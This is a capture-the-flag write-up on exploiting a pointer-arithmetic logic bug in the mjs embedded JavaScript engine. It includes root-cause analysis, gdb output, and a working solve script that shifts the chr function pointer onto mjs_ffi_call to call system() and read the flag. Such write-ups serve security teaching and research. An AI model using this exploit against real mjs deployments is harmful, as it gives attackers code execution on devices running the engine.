Pwning mjs for fun and SBX
We back at it again with another Sandbox Escape blogpost :D Last weekend, I took a small break from a side-project I’m working on and peeked at some pwn challs of a random ctf from ctftime.org.
This time, I’m writing about a n-day I exploited in mjs during a “clone2pwn” challenge on KalmarCTF.
The challenge itself was not too hard. Yet, I think it’s one of my favorites/I enjoyed alot so I thought it’s worth writing about it and share the experience.
(Short) Intro to mjs
Essentially, mjs is an “Embedded JavaScript engine for C/C++”:
mJS is designed for microcontrollers with limited resources. Main design goals are: small footprint and simple C/C++.
JS is good, embedded is even better (:
Basically this JS engine reminds Lua a lot; It’s light weight, very minimalistic, and has some powerful features like ffi in it.
Challenge Description
The challenge description was quite short and straight-forward:
Toddler’s first browser exploitation https://github.com/cesanta/mjs
We were given a tar archive with:
- ./mjs binary: The JS engine/interpreter build(latest version). With PIE/NX enabled.
- A diff.patch file: Showing us the modifications that were done to the interpreter sources prior to compilation.
- Other Docker environment stuff
Surprisingly, the .patch
file did not introduce vulnerabillities. Actually, the hot-patch was intended to harden the interpreter. The changes included:
- Disabling the ffi functionallity
- Disabling dangerous functions like
mkstr
ands2o
(those are JS functions that the engine supports but can be used as a “bridge” from the high-level JS code to low-level memory. refs: #0 , #1)
So, considering those constraints: we need to achieve RCE.
Recon
Since this is a clone2pwn I decided to look for known/past vulnerabillities to understand if there’s a common attack surface for this JS engine. After some googling I found this Snyk advisory, which led me to this mjs git issue #175: “Heap-based Buffer Overflow Vulnerability”.
The PoC that was provided in the report was pretty difficult to understand because it was generated by a fuzzer:
let i, a = 0, b = 0, c = 0, d = 0, e = 0;
for (i = 8; i < 10; i++)typeof --print
print (b++ < 5) c +="b;
while (d++ < 10) {
if (d < 7) continue;
e += d;
break;
}
a === 45 && c === 15 && e === 7;
However, inside that messy, fuzzer-generated code, there was one thing that caught my eye: the --print
. Did he just…tried subtracting a variable that has a function type? There was another person in the git issue that also pointed that out my thoughts:
I knew I had to dig deeper because of two reasons:
- This git issue is open, which means it could be leveraged to corrupt some memory in our version(latest version).
- I could sense that it’s more than just a Heap-Overflow bug (spoiler alert: it’s a logic bug)
To continue with this path, we have to some root-cause analysis for this bug.
Root-Cause Analysis
Digging into the mjs sources, I looked for how they implement unary operators on JS variables, which led me to the following code:
/* ... */
case TOK_MINUS_ASSIGN: op_assign(mjs, TOK_MINUS); break; // -=
case TOK_PLUS_ASSIGN: op_assign(mjs, TOK_PLUS); break; // +=
case TOK_MUL_ASSIGN: op_assign(mjs, TOK_MUL); break; // *=
/* ... */
This function leads to the following call-chain: exec_expr
(above)
➜
op_assign
➜
do_op
da = mjs_is_number(a) ? mjs_get_double(mjs, a)
: (double) (uintptr_t) mjs_get_ptr(mjs, a);
db = mjs_is_number(b) ? mjs_get_double(mjs, b)
: (double) (uintptr_t) mjs_get_ptr(mjs, b);
result = do_arith_op(da, db, op, &resnan);
Note: In mjs, all the variables are stored as a
mjs_val_t
, which can have multiple types. Built-in functions likechr
/etc. are represented asforeign_ptr
’s and Numbers are stored as a double.
What the code above basically says is: If one opearnd of the arithmetic operation is a number and the other is a pointer, add them up. lmao, yes.
Literally:
- Extract the pointer from the tagged
mjs_val_t
(usingget_ptr
) - Add them up(using
do_arith_op
)) - Return the result
I was very confused at first, but what can be better than a test script to verify it:
print(chr);
chr += 0x10;
print(chr);
chr += 0x10;
print(chr);
the script above yields the following:
$ ./mjs testing.js
<foreign_ptr@5555555597c0>
<foreign_ptr@5555555597d0>
<foreign_ptr@5555555597e0>
Those are addesses from the .text
segment, and they are increased in 0x10 on every print! In other words, we just corrupted a function pointer :D
gdb can also verify that it’s a .text
segment ptr, which contains the implementation of JS’s chr()
:
gef➤ info symbol 0x5555555597c0
mjs_chr in section .text of /share/2023/kalmar-ctf/pwn/mjs/git/mjs/mjs
Now if we try to call chr()
again, it will yield a segfault because now it no longer points to the beginning of mjs_chr
.
So, even though the original git issue says that it is a heap overflow, now we can conclude that this is actually a very powerful logic bug(or, just a weird feature), that can cause overflows/other memory corruptions as a side-effect.
Note: After some more searches through the git history, I found this commit(
"Implement pointer arithmetic"
) from 7~ years ago. Which confirms that this is indeed a feature. Kinda quirky feature but ok :^)
Alright, so now that we understand the vuln better. We can continue to exploitation.
Exploitation
We have an arbitrary control on a foreign_ptr
and we need to make it to point to somewhere useful. Having PC control is great but we still have some things to worry about like ASLR, where to jump, how to prepare the args in the right registers(ROP/JOP), etc.
Luckily, I found a very elegant way to achieve RCE during the CTF. The plan was as follows:
- Even though they disabled the ffi functionality in the
.patch
file: the functions are still there in memory, the only thing that was removed is the binding between the JS ‘land’/runtime and the native part of the binary. - We can measure the offset between
mjs_chr
(or any other JS function) tomjs_ffi_call
and usechr +=
to corrupt itsforeign_ptr
’s value. - By making the
chr
function point toffi
, we re-enable the funcionallity that was disabled in the.patch
file. - From there, the road to
system()
is very fast. I mean, it’s ffi so… (:
Solution
Below is my (funny) solve script:
/* offset from `mjs_chr` to `mjs_ffi_call` */
chr+=0x6950;
/* Now `chr()` is actually `ffi()` */
/* get system() */
let sys = chr('void system(char*)');
/* profit :D */
sys("cat /flag-*");
Output:
$ nc 54.93.211.13 10002
Welcome to mjs.
Please give input. End with "EOF":
/* offset from `mjs_chr` to `mjs_ffi_call` */
chr+=0x6950;
/* get system() */
let sys = chr('void system(char*)');
/* profit :D */
sys("cat /flag-*");
EOF
kalmar{mjs_brok3ey_565591da7d942fef817c}
undefined
Thanks for the challenge!